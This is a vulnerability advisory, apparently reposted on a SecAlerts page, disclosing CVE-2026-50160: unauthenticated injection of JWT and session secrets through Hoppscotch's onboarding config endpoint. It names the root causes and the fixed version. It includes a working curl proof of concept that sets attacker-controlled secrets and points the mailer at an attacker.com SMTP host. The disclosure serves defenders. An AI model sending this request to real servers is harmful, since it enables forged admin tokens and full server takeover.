Where
-Infinity
0

Hello,

We are reporting a critical vulnerability in Hoppscotch, an open source self-hosted API development platform (79,000+ GitHub stars).

CVE: CVE-2026-50160 CVSS: 10.0 (Critical) GHSA: https://github.com/hoppscotch/hoppscotch/security/advisories/GHSA-j542-4rch-8hwf Affected: Hoppscotch self-hosted <= 2026.4.1 Fixed: 2026.5.0

Summary:

The POST /v1/onboarding/config endpoint allows an unauthenticated attacker to inject arbitrary InfraConfig keys including JWTSECRET and SESSIONSECRET into the database via mass assignment. Four independent weaknesses combine to enable this:

1. NestJS ValidationPipe missing whitelist:true - extra request body properties are not stripped 2. Object.entries(dto) iterates all properties without runtime validation 3. validateEnvValues has default:break - JWTSECRET passes silently 4. No authentication on the onboarding endpoint

An attacker controlling JWTSECRET can forge tokens for any user including admin, resulting in full server compromise. The attack works on any fresh Hoppscotch deployment before onboarding completes, or when re-onboarding is enabled.

Proof of concept:

curl -X POST http://target:3170/v1/onboarding/config \ -H "Content-Type: application/json" \ -d '{ "VITEALLOWEDAUTHPROVIDERS": "EMAIL", "MAILERSMTPENABLE": "true", "MAILERSMTPURL": "smtp://attacker.com:25", "MAILERADDRESSFROM": "attacker () evil com", "JWTSECRET": "ATTACKERCONTROLLEDJWTSECRET", "SESSIONSECRET": "ATTACKERCONTROLLEDSESSION" }'

Fix:

Upgrade to Hoppscotch 2026.5.0. Full fix details and root cause analysis in the advisory linked above.

Full writeup: https://www.offgridsec.com/blog-hoppscotch-cve-2026-50160.html

Reported by: Offgrid Security (https://offgridsec.com) Found by: Kira, model-agnostic autonomous AI security agent

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203